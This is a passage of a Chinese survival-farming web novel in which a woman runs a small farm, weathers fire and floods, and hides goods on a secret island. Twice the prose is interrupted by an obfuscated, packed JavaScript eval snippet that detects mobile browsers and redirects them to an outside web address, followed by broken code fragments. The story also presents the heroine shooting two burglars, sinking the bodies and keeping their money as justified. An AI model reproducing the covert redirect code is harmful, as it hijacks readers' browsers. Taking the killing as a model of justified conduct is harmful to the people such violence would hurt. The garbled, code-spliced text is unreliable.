说干就干。她订了一批防腐木和铁板,以及一堆长钉子,在两米高踏步梯的帮助下,一周后她就在原来几块石板组成的“小径”上加个了一个遮雨廊道,只有几个透气采光小窗,同时窗的高度可以作为瞄准孔……对了,窗底下的地方是之前的存货:两厘米厚防弹钢板,贵得要死,她到哪就搬到哪。恩,死前送到岛上,哪怕以后成了废铜烂铁也能当垫脚板不是。
7. 开局一荒岛(七)
有点异味的泡沫箱运了两趟才搬到自家,穿了孔系上钢丝绳直接扔到山的那一边的咸水河里两天才捞起来。很好,一股子淡盐水味。
再移到新建成的大棚里。她的大棚其实只造了一半,因为另一半种了耐盐植物滨藜。余下的空地都种着树,从树苗到八九米高的树。前任主人将十米以上的木头、不论硬木软木直径多少都砍了,倒是方便苏茜使用小电锯。
“各买两双,是的,一共四双。”他们这里距离几个比较大的城市都近,所以没有小镇聚居区域。不得不否认,哪怕只有二十几万人口都是城市,更不要说西城这样真正的大城市。不过她只要买徒步靴和雨靴就行了。再过去一条街的户外用品店买两条防雨耐磨可机洗冲锋裤。
撑把大黑伞,背个帆布袋,工装裤和夹棉冲锋衣,没有首饰连口红都没涂,在城市街头看起来比流浪者好不到哪里去,而且去的还都是平价量贩店。
对了,房子里那台洗衣机连按键都磨得看不见了,起码用了七年以上,该换个新的。有线电视要记得办下,不过目测他们这效率估计要一个月以后才有,这一点倒是装网络和电话的速度能快些。
背着包,拎着店名袋,苏茜从有线电视代理那里出来,拐个弯,迎面有人刻意撞过来。苏茜立刻提前从人行道跳到街上,然后破口大骂,“法克!混蛋小子,你想谋杀是吧!啊?好,我先宰了你!”
周围人包括前后两个一米九的男青年都被她的不按理出牌镇住,“哦,你们俩一伙,前后夹击,抢劫?”
她从靴筒里,拔出,一柄刀,“来啊!”
那俩小子跑了,她还在后面大吼,“快回去干你们老妈!”
然后,若无其事地将战术刀放回贴在靴筒内侧的刀鞘,趾高气昂地在周围人注视中大踏步回车上。当她这个单身女农场主是怎么混到现在的?靠价廉物美就没事了?开玩笑!她的小斜跨包里还有新买的三十发弹匣手木仓。整个国家的罪案每年都在增加、不得不防啊。
话说回来,如果危险不增加,武.器的销量怎么可能增长?!
见鬼,路过一家武.器店,苏茜冲进去买了好几盒.22WMR子.弹。这个和之前的.22不相容,只能买单独配的。真是会做生意的混账。
“嘿,你要不要用我们的打靶场地?有优惠哦!”女店员笑容甜美地道。
“谢谢,我在自家打鸟,更好地练习准头。”
这日子,只出不进的……
好在之前移到岛上,现在拿出来的草莓已经可以采摘了。苏茜用盐水和凉白开清洗后放进嘴里。虽然颜色不是最艳丽,但确实可以吃了。
将最便宜的海盐做成小包装,一些草莓装进食品包装盒,再用胶带将盐包和草莓盒贴在一起,开去附近农产品集市。
这里倒是有两个摊子卖蓝莓,但草莓没有。
她就带了百来盒草莓,一盒二十个一块钱,卖了快三个小时才基本卖光,又冷又饿又渴。只剩最后两盒,她也不卖了,急急忙忙开车回去上厕所。如果不是集市入场费只要十块还有税收之类的承诺,她非气死不可。
但是,买卖加平摊的种植时间,扣掉税,加起来工作一天净赚一百,其实也还可以接受。就是比翻译的酬劳低。但本地各国移民众多,翻译真心不愁。
所以第二天苏茜就开始折腾自己那一堆金饰。
熔炉很耗电,但温度很恐怖。随着温度一段段升高,她眼睁睁看着拆下来的几根链条在不同的温度融化成不同的金属液体。
这都是什么首饰啊,设计加工和零售合起来两百,金属本身只值两块钱?!
哦,不,没融化的不止有钢,还有铂金。
她学乖了,先肉眼分辨,再一条条长短链子融化,连融具都坏了两个,只剩最后一个,就是戒指了。胸针和耳饰放过,因为肉眼看去全部是合金。
这些戒指居然大都是黄金和铂金,虽然纯度都不到75%,最多18K的水准甚至才9K,可终究是贵金属还值点钱。这一点让苏茜有些吃惊,干脆都放过不熔化。但称一下这些金属坨坨的重量,查一下期货价,一声叹息。如果卖掉的话可能比期货价还要低,扣掉熔炉工具的钱,加起来也就能赚个三千块左右。她继续用熔炉,不过这回是用提供的几样现成模具,做出来素面贵金属指圈和手镯。
行了,下辈子,或许是下下辈子之类的,有机会再卖掉。
先吃饭。今天连午饭都没气得怎么吃,现在热一下当晚饭吃。
隔一天,苏茜穿戴好装备包括秋裤和纸尿裤,将大半车蔬菜和草莓拿去集市卖。这次因为东西多,虽然都便宜,但卖了四个小时。
谢天谢地,除了销售税和消费税,她这点微薄收入不需要交个税。
接下来苏茜的作息就比较规律了。只在人多的时候尤其是周末或假期卖蔬果,欢迎检测和建议、但不接受批评的那种——她又没有认证加价,批个头的评。
整个冬雨季节,她终于将房子和土地上额外花的钱赚回来。
“苏茜?你要的……呃,你在干嘛?!”
“通烟囱。”苏茜从梯子上跳下来,招呼奥苏利文进屋,自己则是在门外放下工具,进来脱工作服并且洗手。
“烟囱?怎么回事?”
“我的壁炉烧了不少松树,松树的油分高,特别容易有黑烟而且堵塞烟道。所以过段时间就要清理一下。”
“哦,那你可以用其他木头?”
“没法子,这里只剩下还不能做家具的松树和直径过小的杉树、杨树之类。所以我干脆就砍松树了,大量的松针还特别适合做植物绿色肥料。对了,要去看看你的菜吗?”
“当然!”
奥苏利文在附近经营民宿,一家四口一千多块钱过一晚玩一天的那种精品。但为了打造“最”绿色的享受,她不仅让来玩的孩子们给散养动物喂食,还得提供“最”新鲜的食材。所以在进入大棚前她就用手持摄像机记录过程。
“所有的出产没有农药,也不用化肥。”苏茜配合着拿出检测箱子和试剂试管,让奥苏利文随便挑选,然后抽样检测,并且当场用水箱里的水清洗后直接吃。“灌溉用水是放置了一天以上、将少量氯挥发掉的自来水,因为附近的河水是咸水,而且还有亚硝酸盐,如果用来灌溉土壤的下场显而易见。”
“很新鲜的菜。”奥苏利文也嚼了片菜叶,还啃了一只西红柿。“这个西红柿,不是那种硬邦邦的?”
“你吃的是没有人工干预,没有化学药剂,已经生长了近三个月,完全成熟的西红柿。当然,因为面积不大,所以数量不多。”
“嗯,好吃!”甜中带微微的酸。“能给我多少,都给我。”
这回奥苏利文一口气买了两百多块的菜,苏茜一点没有提价,跟市集上的价格一样,所以将皮卡塞了大半满。民宿中午到下午会有十个左右的客人到,加上他们夫妻和两名员工,并不算多,因为她得靠这些菜撑到明天午餐。搞不好明天也有客人来。所以她还要了苏茜的电话、手机号码和集市摊位的出摊时间——苏茜终于撑不住买了部手机,最便宜的那种只能电话短信黑白屏的直板,反正4G普及之前她是绝对不会浪费钱买“上网”手机的。
下午的时候有线电视厂商来安装宽带。她终于不需要再忍受缓慢的信号了!网络上的内容虽然并没有因为网络变好而立刻丰富起来,但有谷歌了啊!她还是第一批跑去买他们股票的散户,不到退休不卖掉的那种。她买的不多,因为没有分红,纯粹就是卖出的时候赚回本息、跑赢通胀。
到卖出股票的时候,她种下的那些杉树也可以卖钱了。
不过?考虑到那位司机先生提醒的山火,苏茜开始买产险。由于评估价值太少,尤其是那栋房子连家具家电在内都不值三万块,树木没一棵成材,保费也很低。但如果她一直坚持买,十年内也不涨保费,十年后才会再次评估——这是推销员保证给长期客户的优惠。
苏茜一个字没信,直接选了三年期趸交。并且将房子周边十米范围的树都砍了,种上滨藜。听说这玩意防火。
滨藜能不能防火暂时还不知道,苏茜倒是从新闻里看到了奇观。晴天海啸,就是没有地震没有火山,纯粹是自然生成的海啸,当然杀伤力不算过分可怕,没死人。
“大自然的力量太可怕了。”集市里摊主和顾客也都在议论。
“是啊,感觉今年特别热。”
“大家上山的时候不要留下火种。尤其是松树林里。”苏茜忍不住也说了一句。
“为什么是松树?”
“松树含油脂多。而且松树林地面上有很多干枯的松针,非常容易点燃。所以如果烧篝火,请用炉子、铁桶,至少要用石头围起来。”
“哦,点燃松树林好玩吗?”
“不好玩,对方律师会让你一辈子喝不到可乐。”见鬼,就知道这些蠢货天天找机会作死。“如果我看见你点燃松树林,会给你一木仓。”
“对!谁敢跑来我的土地点树玩,我把他的脑袋打成西瓜。”另一个摊主想起自家的松树林和城里的熊孩子和白痴男女们,越想越揪心。“不行,我要多装一些监控。没有招呼跑来的先开木仓再说。”
“先买个保险。自然和人为的火灾、水灾都要包括在内,这样保险公司的律师团会摁死嫌犯的。不坐牢没关系,赔钱就行。”
“会纵火的人都没什么钱的,所以还是爆头得了。哦,我的木仓火力不够,不过爆了肾脏没问题。”
“肾脏……哈哈哈哈……”
“哈哈哈……”
顾客们在听说有些火灾是人为的之后也变了脸色。谁家不怕火灾啊,而且真的有人是因为邻居家的寄养小孩纵火损失惨重,都找不到人赔的那种。
天气干燥,温度倒不算太高。不过苏茜在炎热的晚上都跑岛上睡,不用空调还没蚊子。除了刷马桶稍微麻烦一点,其他都无可挑剔。
但还是出事情了,不是她这里,是上去几个山头的位置,因为地势高,夜晚火光冲天一眼就可以看到。她赶紧打火警电话,接线生说已经出警了。她没听到消防车的声音,估计是从其他山路上去。不过,该做的防范还是要有吧?她打开几年不开的水泵试验还能不能用,再连上买来后就很少用过的可接续长水管,检查按照一个个接头。还好水管因为放在阴凉的山洞里没有裂口,当时买的接头也是真不锈钢。她正在应急灯下认真接水管,消防车声音突然出现。
一抬头就吓一跳,怎么有烟?!再分辨下,是地势高的上风口吹来的。但也把苏茜吓个半死。隔壁林场的人也在紧急应对。他们更惨,距离起火点更近不说,地方还大、林子还密。
等拖着近八百米的水管慢慢走在两个地块交界地带时,苏茜突然发现,这片区域因为都是矮松树,被她优先砍了啊!
唯一的问题是地面枯枝。但那不是问题。她一手水管一手推车水桶,天亮前就让交界处的地面一片水泽。隔壁没人理会她的折腾,因为火势在入侵隔壁的时候被地主和消防员联手扑灭了。但上面其他林子情况不太好,虽然没烧死人,但财产损失能否都有保险赔付是个问题。
苏茜沉默地将边界的树沿地面都砍了,连树根都用找了半天才买到的精钢铲子给挖掉,地面的枯枝和少量泥土全部运走做土肥,又在与其他两个林农场交界的地方密密地种上滨藜,有的是种子,有的是移栽过来的。不管到底有没有用,起码比松树和松针地面让人放心。
好些个林农场主见她这样操作,来跟她聊过天又去问别人。有的人决定不予理会,有的跟进,还有的直接在交界处清出类似的隔离带。
松树根当然不存在浪费的可能,锯小以后放壁炉,特别能烧,尤其适合湿润的冬季。
如果不是下暴雨就更好了。
雨太大了。苏茜不但没去摆摊,还盯着网络和电视。四天都是大雨,今早更是暴雨,未来三天也是大到暴雨。她的这块地虽然各种问题,但和外面的山路有个明显的高度差,与上方隔壁地块之间的界限其实是条小沟,去年对方地主不知道什么原因还自己出面挖深了些。理论上只要不是大面积山洪暴发,她不会受影响。
可也是“理论上”。实际情况都有可能,比如树木倒了之类。
在新闻记者说州里可能中午就发出警告之后,苏茜就将值点钱的电器和物品甚至多余的松树根都收到岛上,然后去大棚收种植箱。连箱带菜全部收走。
感谢自己穿的是羊毛袜子、塑胶靴、冲锋裤和防暴雨级冲锋衣。不然在华氏50度的暴雨天在外面干活非感冒不可。哦,小货车也一起收走,电闸拉上,天然气、自来水阀门都关掉,几十大筐土肥包括种子等等全部收走。
行了,就这样吧!
她回了拥挤的岛上,在木屋里享受烧柴炉、土豆炖牛肉与外面的和风细雨。这个木屋不少年头了。当初建房手艺太差,是真的就是三角形搭起来接近庇护所的玩意,高度宽度都很寒碜,倒是外面贴的吸音棉非常有效,压根不会有雨滴打在木头上的噪音。
可以深入研究一个人在没有吊车的条件下如何建个木质桁架小屋,或者买个工具屋套餐安装下,实在不行在外面加个帐篷?露营车就算了,又贵又不实用,原来的那辆还在空地上日晒雨淋的。
最终,苏茜还是打算自己买预制板材安装。内部面积二十平米的“小”屋,搭起来耗费的力气和时间比搭一个乐高星球大战模型大得多,可那是一间屋子吔。花的钱也就是三年的健身卡加几节私教课。另外,她真的不需要私教,只用平时有规律地干活,偶然打打鸟练练准头。
“砰——”
正在地上跳着觅食的麻雀应声栽倒。苏茜将保险关掉,塞进衣服下的木仓套,打着双人大伞走出廊道里的“瞭望口”,用两片大树叶包住麻雀,两根草打两个结,然后整个扔进河里。
河水暴涨得不对劲,所以这两天她一直会出来晃晃,看看情况和来电显示。
但没想过在河边看到……尸.体?然后尸.体继续被冲到下游去了,飞快消失在视线内。苏茜在考虑要不要打电话报警,因为她甚至不确定那是不是尸.体。最终还是决定报告下,说看见疑似尸.体的东西被水冲到哪里的水域,应该直奔海湾里去了。
晚上的新闻里说有两人死亡两人失踪,有目击者称其中一名失踪者可能已死亡。不过此时苏茜面无表情地看着窗下聚流成小河的水,最终将冰箱里的食材清理后,将其和电视、沙发、桌椅餐厨具卫生纸等等能转移的都弄到山洞里,连大棚都踩在没过脚踝的水里连夜拆走了。
然后回木屋清洗更衣。
一觉醒来都十点了,其实她只睡了五个小时。
不放心地回来一看,雨停了,水退得差不多,但屋子错位了。整体倒没有散架,而后建的卫生间居然好好的还在。
苏茜第一个念头是自己居然还有付不少垃圾清运费?
第二个念头是:不,能把钢板卖给收破烂的。
但,收废金属的电话是多少?她试着用手机打电话给运营商,没想到居然真的得到了一个电话号码!
她试着电话过去,说自己有一个轻钢小屋废掉了,问对方收不收,对方居然高高兴兴地说明天开了货车来,还问需不需要电锯。
其实她需要的是一个房子。另外,得在保险公司来之后才能拆房子。
两天后保险公司的人才来。他们已经忙了一天了,傍晚才拐到她这里。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976279|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一看主人住在露营车上,房子与地基分离,压根没有冒险踏进不知道会不会掉下坑的房子,看了一片狼藉的屋子还有卡在壁炉里的桌子,确定全屋毁损——那个几平米的幸存卫生间压根没瞅一眼——至于几棵不怎么值钱的树倒塌这种就都算在房子里,最后签了字匆匆跳上车到下一家。
苏茜叹息着,联系废金属收购的人,让他们明天上门。
“我朋友在做预制装配房屋,可以打地基固定在地面上,这个面积的话连人工应该不到两万,你如果感兴趣的话我让他寄册子给你。”废金属回收的人开口推荐。
“好啊!如果有其他的比如工具房、可移动的仓库之类可以自己拼造的,也请一起寄给我。总之别把太贵的发给我。我的保险费总共才三万,这个是包括家具家电还有田地树木的。”
“明白了。”房子确实不能超过两万块,跟原本这个差不多。不管是面积还是品质。
最终苏茜买了一栋需要打基地的预制房、虽然比模块房便宜但仍然要交税,以及一大堆建材供她DIY一两个工场小屋,全部加起来二万五。工期也挺短,比说好的四个月少了一周。
而苏茜看起来就在露营车里住了一周,艰难又勤劳地继续种菜。最后几个工人还得到了她送的水果作为感谢费。一份综合水果,以及可以生啃的西红柿、黄瓜和既能生吃又能装饰的生菜,每套零售价加起来超过二十块。
新家面积不大,但设施齐全,四面有窗,厨房客厅是开放式的,有干湿分离的卫生间,甚至两个地漏可以安放浴缸和不装玻璃罩子的淋浴挡水条,有趣的是卫生间和客厅各有一个洗脸池的位置,甚至进门口的地方可以加个储物杂物间,连壁炉烟道都按苏茜的要求打了两个,但没准备天然气取暖设施。
小而齐全。
服务也不错,唯一不好的是房子本身的质量不怎么样。
“谁知道再来一次山洪,或者是山火,我的房子又没了。如果建得太好保险不给我多赔付怎么办?!”她的保费今年还是原价,但明年会翻倍,但因为还是同一家保险公司,所以房屋因各种原因但不包括投标人故意毁损的赔付标的提高到了五万。
所以她不但没有装淋浴间,连浴桶都是那种老家造的塑料制,水龙头花洒等等统统买的便宜货自己安装。更不要说自己抹的水泥壁炉,全套不超过六百块的简易家具,以及电扇甚至丝棉小棉袄和棉被。除了建材和木头,房子里大部分都是老家出品或品牌,包括景德镇瓷器——瓷器可以放很久很久不会腐坏——感谢阿里和联邦快递,加起来也比她在店里买一百多块一套的英国瓷奶茶壶杯和两百多一条的意大利丝绸披肩便宜。老家现在的的价格还没有到与国际接轨,所以她可以多买十几套密封起来,直到老家那里涨价十倍的时候再拿出来用。
最后,空调也省了,因为商家拒绝她自己安装。
* * *
岛上山洞附近,多了一条塑木走廊,以及与三角木屋连通的花园木屋。与没有地基的三角木屋不同,花园木屋有浅浅的地桩,面积也更大,储物箱小床变成了储物箱大床。另外,由于大量用过的土肥与少许燃煤渣的混合物对土壤的改善,岛上稍微有了些灌木,储水池水缸水桶水渠和滤水池等等也都彻底清理过,连用捡来的种植箱里种给自己吃的蔬果长势都还可以。
“下午好,克莱尔,随便挑。价格表都在电子秤那里。草本篮子一块一个。草莓不要直接吃,因为虽然没有农药,但是可能有寄生虫和细菌,一定要用边上的盐水浸泡五分钟,冲洗以后再吃。”
“好的!”
现在苏茜在冬季的时候只会在周日上午出门摆摊。周边顾客,尤其是民宿主人都会自己在上午来采摘最新鲜的各类蔬菜水果,尤其是她自己在车道和大棚之间用煤渣铺了可以停车的一块空地。
新顾客有时还会被塞一脑门的亚硝酸盐和磷酸二氢钾之类名词,好在大家看得懂检测箱子的异常红色,否则检测里的缩略语即使旁边有详表有些也读不懂。克莱尔这样周六上午要工作,下午来买一周菜的职业人士倒不多,因为这样忙碌的人一般没时间自己做饭。
等克莱尔付好账走人,也到了苏茜自己做饭的时间。她的红酒牛腩还用小火炖着,是用的另一个取暖大棚里的煤炉,她过去看了下,汤汁差不多,再下胡萝卜、菇类、南瓜、西红柿,最后是甘蓝,简单的晚饭就可以吃了。
接完电话,她戴上帽子、拎着锅冒雨往屋子里走。华氏60度的雨天并不舒适,但比20度的天气要好太多。何况室内燃着柴火。
客厅里的是她自己造的壁炉,费木头,但特别暖和。卧室里用的是之前用过的铁炉,进风口调得小些、几公斤木头烧一夜无压力。不过她更喜欢回岛上,因为不但夜间温度更高些,安全感也完全不一样。这大片半开放式的林地就她一个人住一间小屋,很难说会不会睡着的时候碰到入室抢.劫,到时拿木仓都来不及。只是回岛上的时候她一般会将露营车也带进去。
不过在花园木屋里睡到凌晨的时候苏茜突然醒过来,用个马桶还是觉得不对劲,就穿好夹棉冲锋衣和加绒冲锋裤、雨靴,又,拿了三十发弹匣的.22,闪出小岛,落地自家土地上的卫生间廊道。
见鬼!有车有人,还是一男一女。这是第二次了!
她怒冲冲地脱掉靴子,光着脚对着那俩翻箱倒柜的家伙每人两木仓。没有抑制器的音响稍微有些大,可这是十几英亩的私人土地,凌晨的时候即使有路过的人听到木仓声也不会做多余的事。
她瞪着两具尸.体。心里闪过一堆法律条文,可再怎么说还是有漏洞,比如为什么不一开始就开木仓或者报警,为什么第一发随便打身体部位、第二发精准地对着额头?这是故意杀人,是否追究完全看检察官心情,是不是要赔钱要看这对男女的家属有没有钱请个厉害的律师……
思索半分钟,她还是将尸.体弄回岛上。找了件跟那女的差不多款式的衣服,戴了帽子口罩,开了他们的车出去,在路口将车也弄回岛上。
接着是将人先扔海里,再回来清理血迹和脚印,清洁整理房间,找回弹壳也扔下自己的垃圾海滩。还好她只在大棚装了摄像头,路口房子都没装,不然还要多一道工序。
天亮后弄点吃的继续接待客户。直到下午她才有空去看看战利品。
车子一般,年头也久了。直接开进海里前,苏茜将后备箱和座椅统统检查一遍。
除了未注册的热.武.器,还有那两人身上的三柄匕.首——杀掉他们灭掉痕迹是件正确的事,因为即使抓住了送警,过个三两年就又出来,搞不好还会报复谋杀她!要知道本州没死刑的,作多大的恶都不会死!也因此犯罪的一年比一年多,哦,全国都是这样,哪怕冲进人群扫射,只要不对着警察开木仓、都不会被判死刑,大不了破产一分钱不赔还能吃几年免费饭。但如果有人要回击打伤杀人犯,很可能要赔对方钱,搞不好还要坐牢。
证件、卡、衣服之类统统烧成残骸扔进海里。
一份文件让她简直想破口大骂:这两个是刚放出来的瘾君子!她换上防割伤手套继续整理,在放倒的后座底下发现一个包。打开,是保险单之类,还不少现金,几件首饰。没有手机。
首饰目测是纯金和真宝石,不少的现金指超过一万块。在她之前,这对混蛋可能已经作案过不止一回了。
自己这是为民除害。
现金不能立刻拿出来用,首饰得融掉弄成其他样子。但总体上值得她大半夜没睡并且浪费四颗子.弹。还有,今年和明年都不需要拿出一笔钱放到岛上作战略储备了,因为纸币存放时间是黄金宝石的零头的零头。
之后,果然没有任何人问起过那两个人。
8. 开局一荒岛(八)
“……我们将持续关注骚乱后续……”
新闻频道女主播一脸专业。几十公里外的市区,警方和一群抗议的人正在对峙,商店被砸、车辆被烧、行人被抢。还有几个人被流弹打伤。
苏茜默默地将木仓套挂在冲锋衣下,弹匣装满,继续工作。这段时间各种乱七八糟的冲突越发升级,大家早就忘了源头是什么。连带的城里各色人等的情绪都调动起来,越来越多的小偷和抢劫犯喊着他们也不知道什么意思的口号砸开橱窗抢劫东西,甚至还有冲进富有住宅区的,不过后者下场并不好。当然大家最不想看到的是号称精神病的家伙乱开木仓,到时候连坐牢都不用,只要去“治疗”几年就行了。
尤其是隔壁市有个集市出现了莫名其妙的木仓声,即使没有伤亡,其他集市的买卖人数大幅减少。来农场直接采摘的人反而多了,因此苏茜都没时间去摆摊。
好在采购种子的地方在郊区,根本没人过去——抢不到东西和现金,当然不去。
没人对苏茜开的旧小货车感兴趣,可能司机的钱包和车子加起来都没有几百块。至于货,没看见上面蹩脚地画着水果和蔬菜吗?更不会有人对拖挂在小货车后的一车气味难以描述的东西多看一眼。
“哦!什么味道?!”一名看上去并不那么安分守己的家伙正好在下风口,被某种不太妙的味道冲得想呕吐。
“应该是牛粪之类。”另一个人只是皱了皱眉。他毕竟出生于牧场,对这种味道还是可以接受的。
“呕——我们换一条道吧。”
“……”
并不知道自己可能拯救了身后某位车主的苏茜,一路载着各种物资回农场。为了种好那么多蔬菜水果,林子里的那些枯枝烂叶并不够。她这次买足了自己调配营养液的无机物,完全符合有机无毒的那些,连同土肥所需的牛粪,满满当当的。其他的枯枝等等得她去帮忙打扫清理才有。这场骚乱让不少临时工的岗位出现空缺,甚至有一家林场被前员工破坏了些设施和田地,所以苏茜还临时赚来了些新鲜的肉、建材、二手家具和少许现金。
……
“自己弄!我这里在做肥料,有机的。”苏茜朝没有预约就上门的顾客招呼道。要不是种地更适合她的荒岛,其实她自己也不是那么喜欢与有机肥打交道。
“好!”对方自己采摘了好几样蔬菜和一袋子草莓,自己称好。艰难地算清楚钱,发现再加一点点就是整二十块了,于是就按照计算器边的价格提示拿了几颗草莓凑整。最后还饶有兴致地远远围观了下什么叫“有机”。哦,那味道确实不是特别美妙,所以主人家夸张地戴了个防毒面罩,全身雨衣雨裤手套长筒雨靴,手里是个亮闪闪的不锈钢长柄细铲。
“下次来我会打电话的,拜!”赶紧跑。谢天谢地这里不“绿色养殖”禽畜,不会出现鸡啊羊啊狗啊到处拉撒,不然下脚都难受。
最近大家因为罕见的大雪而出门少了,集市也暂时关停,食品燃料电力都在涨价。只有苏茜这里依旧现场自己摘,不涨价,但也不送货。所以不少顾客都是自己开车过来买菜——部分价格比超市还便宜一点,而且还新鲜有机,不买足一周的是傻瓜。如果不是小农场门口的这条山路有清理雪,没有防滑链的人就得有麻烦。
“很多人都不舍得开得太暖和。”克莱尔烘着手说道。她一口气买了一百块的菜和水果,讨口热饮暖和身子不过分。
“好在我这样的自己有木头可以烧。”苏茜用虹吸壶煮了咖啡过来。“山上海拔越高雪越厚,我简直担心又要来一场山洪。”
“哦!上次我没有碰到停水停电,希望这次也不会发生。”涨点价就涨点吧,大家也习惯了,也就是把温度调低些省点电费。
“建议你囤积一些饮用水,还有车载马桶和配套的固化除臭剂,不然停水后上厕所是个麻烦事。”
克莱尔失去了语言功能。
“我之前在得城的时候就碰到过一次,水深一米多,我卫生间里不可能存太多水,楼下邻居们包括房东太太也没有,好在我送了几个马桶给他们,再用个垃圾袋就好了。”
“水深一米,那时垃圾桶也没了吧?”
“对。垃圾袋从窗口直接扔到水里。”
克莱尔瞪着咖啡,愣是喝不下去。
“虽然这里可怕的水灾极少,但谁也不知道是不是?而且囤着总是有用的,以后可以放在车后座,如果碰到大堵车也可以应急,批条应急毯遮一下就行了。”
“虽然……你的建议太好了。我记得网上曾经看到过这种商品。”
“是的。一套也就是二三十吧,可以用一周。对了,还有速食面,这种非常适合应急,别管油炸还是非油炸,有没有防腐剂,不饿肚子才是最重要的,可以放一年不坏。”
“这个我知道。偶然没东西吃的时候我也会吃,开水一泡,几分钟就可以吃了,还可以加些午餐肉罐头和蔬菜。”克莱尔还挺能接受这类亚洲“特产”的。
苏茜表示,罐头加泡面的吃法很有创意,她只吃过泡面加冻干蔬菜。最后她帮克莱尔将菜和水果都搬上车,还附送了两个老家产竹编篮子,算是另类折扣,这种耗材她硬着头皮买了一个20尺集装箱,三年都没用完。
雪又下了两天才停,积雪不算深。苏茜每天早上都要将连通山路的小道上的雪清扫掉,但不用除雪盐,因为费钱且对土壤有害。
化雪的天气更冷,化掉的雪水与突如其来的冬雨合并在一起从山上冲下才叫可怕。这次苏茜已经“熟门熟路”了,将所有东西都理一理,人和车都回岛上暂避。
花园小屋里温度湿度都是65-67度,相当舒适。小型汽油发电机不能用电烤箱,但小型洗衣机和冰柜台灯电脑之类问题不大,除了没有网络和电视信号。还有,她在夏季囤的煤和木头足够多,不需要管涨价问题。
唯一不便的是现在只有冷冻肉类可以吃。
还有些海鲜。
岛上似乎四季都能钓到鱼虾,可惜数量和种类都少,她得在不下雨的天气离开岛钓几个小时才有能吃一两顿的收获。赶海的话,如果天天去就不可能一直碰到蟹之类的大家伙,生蚝牡蛎的“补充”速度也赶不上。
睡着前,苏茜想的是:自己无法长时间在岛上生存。
……
山洪给房子带来了些损伤,但新造的房子还算牢固,没有倒塌散架之类的问题,回来打扫下就能重新住人!没啥树消失,却有不少倒伏,田地也平平整整的看不出曾经是大棚。这次保险公司只赔了一万块田地树木蔬菜水果的损失,第二年的保费居然没涨。理赔员和好几个邻居都来问预制房屋的联系方式,还是必须带了可以栓应急小船的铁把手——苏茜宣称她在最可怕的那一晚是坐在小船上的,好在飘起来的时间不长。
有部分地区停水停电停网,居民裹着被子取暖的照片视频上了报纸电视。但苏茜这里居然没啥事,网络都能正常用。
经过考虑,她又买了几个旧集装箱放在地势最高的地方,还平整了地面:一个比较新的全封闭箱子作为储藏室,一个作为LED灯照明水培大棚,两个改装了门窗可以凑合住人、其中一个放在岛上,正好将保费都用完还搭进去两千多改造和设备费用。都是不交税的非永久性建筑,很适合她。
开春时新种的树苗都是成材时间短的杨树、松树、杉树品种,但想要卖出价钱大概得等她退休或者转手卖掉的时候。说实话,原始资源提供者真的赚不到什么钱。小型农场林场牧场的主人有一部分就是弄个家园罢了。
比方说现在她就在梯子上给“自住”的集装箱侧面打洞,好安装铁炉的烟管。河边的大盆里正用碱水泡着铸铁烟管。那水黑得让人不忍直视。打完洞,戴上手套,拎起烟管在河水里漂洗。河水不能灌溉不能喝,偶然还有尸.体飘过……但粗糙洗涤物品是没问题的。
炉子本身倒无所谓,刮掉烟灰,高温蒸汽处理下,就直接装进集装箱。这里是作为庇护所弄的,除了监控,只有八个收纳木箱拼成的木板床和水桶,净水片和滤水装置、消毒清洁、压缩饼干、应急毯、简易马桶等等掩人耳目的的应急装备也都是塞在收纳箱里的。
倒是水培大棚是苏茜精心打理的地方。而且种的都是她喜欢吃的,比如樱桃西红柿、黑莓、黄瓜、甜瓜、柑橘、甜椒、薄荷、西芹、四季豆等等,而草莓在土培大棚已经有不少,她一年四季都可以吃到。另外,小白菜、小葱之类也种了不少。三个月后,整个集装箱满满当当、五颜六色,看得顾客目瞪口呆。
可惜,其中有好几种比如哈密瓜,培育失败,枯烂的枝叶都做了肥料,营养液也直接稀释在浇灌的雨水里浇土培大棚去了。这个过程中成功和失败的经验简直可以出书了!
苏茜一点点记录到电脑里,还打印出来后塑封。甚至有些还直接放在大棚里供感兴趣的人看。大部分看客哈哈了一会,回头就将能买的东西统统买走。如果不是苏茜自己抢得快,有时自己都没得吃。
* * *
松木在燃烧的时候总有一种特别的木香味,虽然会有点烟,但也正是这种烟火气和暖暖的热量让人觉得这就是家了。
夏天的时候苏茜病过一场,发了两天高烧。她就靠热绿茶、小米粥和退烧药过来了。冬天又病一场,这次确诊是新的病毒,她只是低热,吃了半瓶之前去药店买的药才缓过来。
感谢自己宁愿过期浪费也要囤药的习惯!
白粥实在是吃不下了,但牛肉生菜粥还是可以的。岛上的集装箱仓库里放的木头虽然不能彻底干燥,但好歹烧起来挺容易,自家农场新鲜砍的树则是放在壁炉边烘着,一边还提供了点湿气。
今年的冬雨特别大。她看着网络和新闻里的天气预报和预警消息,叹口气,开始收拾东西。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976280|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这些年时不时有山火和山洪警报,只是一次也没成真,但不妨碍她养成了在最短时间内把东西带走减少损失的“好习惯”。另外,秋天的时候她网购了一大堆农业用品,通过价格适中的国际物流送到她家。虽然老家生产的东西越来越贵,但品种越来越丰富、服务也越来越周到。
在把一些东西运到庇护所的时候,她想的是不知道这次能赔付多少保费。
嗯,庇护所太简陋了,她抬脚回了岛上,生火,换上干爽绒衣裤,吃个药,盖上厚棉被,休息养病。
